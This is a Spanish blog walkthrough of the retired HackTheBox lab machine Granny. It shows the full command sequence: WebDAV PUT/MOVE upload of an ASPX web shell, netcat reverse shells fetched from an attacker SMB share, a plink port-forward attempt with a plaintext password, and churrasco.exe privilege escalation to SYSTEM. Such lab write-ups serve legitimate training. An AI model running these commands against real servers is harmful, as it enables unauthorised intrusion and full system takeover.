Buscar

29 junio 2021

Máquina Granny HTB


Después de unos meses liado con certificaciones, laboratorios, máquinas de HTB y de TryHackme y de lecturas de PDF sobre Active Directory, vuelvo a escribir (y a ver si saco tiempo para volver a escribir periodicamente). En este caso os dejo la solución de la máquina Granny de HackTheBox. Si quieres ver como la resuelvo, ¡sigue leyendo!


Lo primero, comentar que las máquinas de HTB que pueda subir, ya han sido retiradas, por lo que no se infringe ninguna norma de la comunidad.

Aclarado esto, vamos con la máquina:

Empezamos con la fase de enumeración, como de costumbre con nmap.

nmap -p- --open -T5 -v -n -Pn 10.10.10.15 -oG allports

Como solo está el 80, rápidamente le mando:

nmap -sC -sV -p80 10.10.10.15 -oN targeted

Otra forma para ver esto, es con WhatWeb:

whatweb 10.10.10.15


Como con nmap hemos visto que tiene varios métodos (como PUT) habilitados, probamos con la herramienta davtest a ver que podemos subir:

davtest -url 10.10.10.15

Vamos a tratar de subir una shell en aspx, pero como no está permitido, lo vamos a subir con otra extensión y luego, con el método MOVE, lo cambiamos:

mv cmd.aspx cmd.txt

Ahora hacemos uso de cadaver:

cadaver 10.10.10.15

Y desde dentro usamos el método habilitado PUT para subir el fichero:

put aspx_cmd.txt

Desde el navegador podemos revisar que se ha subido y sea accesible:

Ahora a través del método MOVE, le cambiamos la extensión:

MOVE aspx_cmd.txt aspx_cmd.aspx

Y de nuevo, desde el navegador, vemos que funciona:

Levantamos un servidor samba con:

impacket-smbserver smbFolder $(pwd)

Y nos ponemos a la escucha con netcat por el puerto 443:

rlwrap nc -lvnp 443

Y en el navegador, en la caja, escribimos:

start /b \\10.10.14.12\smbFolder\nc.exe -e cmd 10.10.14.12 443

Y ya tenemos la shell:

Una vez dentro, vemos que no se puede acceder al usuario Lakis, así que, vamos a enumerar con systeminfo:

Como los exploits que hay no funcionan sin metasploit, vamos a por otra cosa.

netstat -nat

Vemos que Samba está abierto, pero en local, es decir, no podemos verlo por ejemplo con un nmap. Vamos a subir plink.exe (/usr/share/windows-resources/binaries/plink.exe) a la máquina Windows:

impacket-smbserver smbFolder $(pwd)

En el Windows me muevo a una carpeta en la que tenga permisos: (C:\WINDOWS\Temp):

copy \\10.10.14.12\smbFolder\plink.exe plink.exe

Con Plink lo que podemos es conectar a nuestra máquina atacante para por detrás modificar algunas reglas de PORTFORWARDING. Lo primero es habilitar el permiso rootlogin en sshd_config:

vi /etc/ssh/sshd_config

Y lo dejamos así:

Ahora habilitamos el servicio SSH:

service ssh start

Y en la máquina Windows ejecutamos Plink:

plink.exe -l root -pw 123abc. -R 445:127.0.0.1:445 10.10.14.12 (Con esto le decimos que el puerto 445 de la Windows sea el nuestro en la máquina atacante)

Como no me funciona, toca buscar una alternativa:

Lo hago con churrasco.exe. Este no está en Kali 2020, así que, levanto la 2019 y me lo dejo en /opt para tenerlo a mano.

Levanto un servidor samba una vez más y lo copio en C:\WINDOWS\Temp:

copy \\10.10.14.12\smbFolder\churrasco.exe churrasco.exe

churrasco.exe -d "whoami"

Vale, me devuelve quien soy, vamos a por la escalada de privilegios.
Hay que copiar el netcat, así que, procedemos a hacerlo con cadáver cambiado a nc.txt y luego lo movemos a nc.exe

Una vez lo tenemos copiado (está en C:\Inetpub\wwwroot\nc.exe), ejecutamos churrasco de la siguiente manera (seguimos con smbserver levantado o levantamos uno, y a la escucha con netcat en el puerto 1234):

\\10.10.14.12\smbFolder\churrasco.exe -d "C:\Inetpub\wwwroot\nc.exe -e cmd.exe 10.10.14.12 1234"

Y ya somos system, ya podemos sacar las flags.


0 comentarios:

Publicar un comentario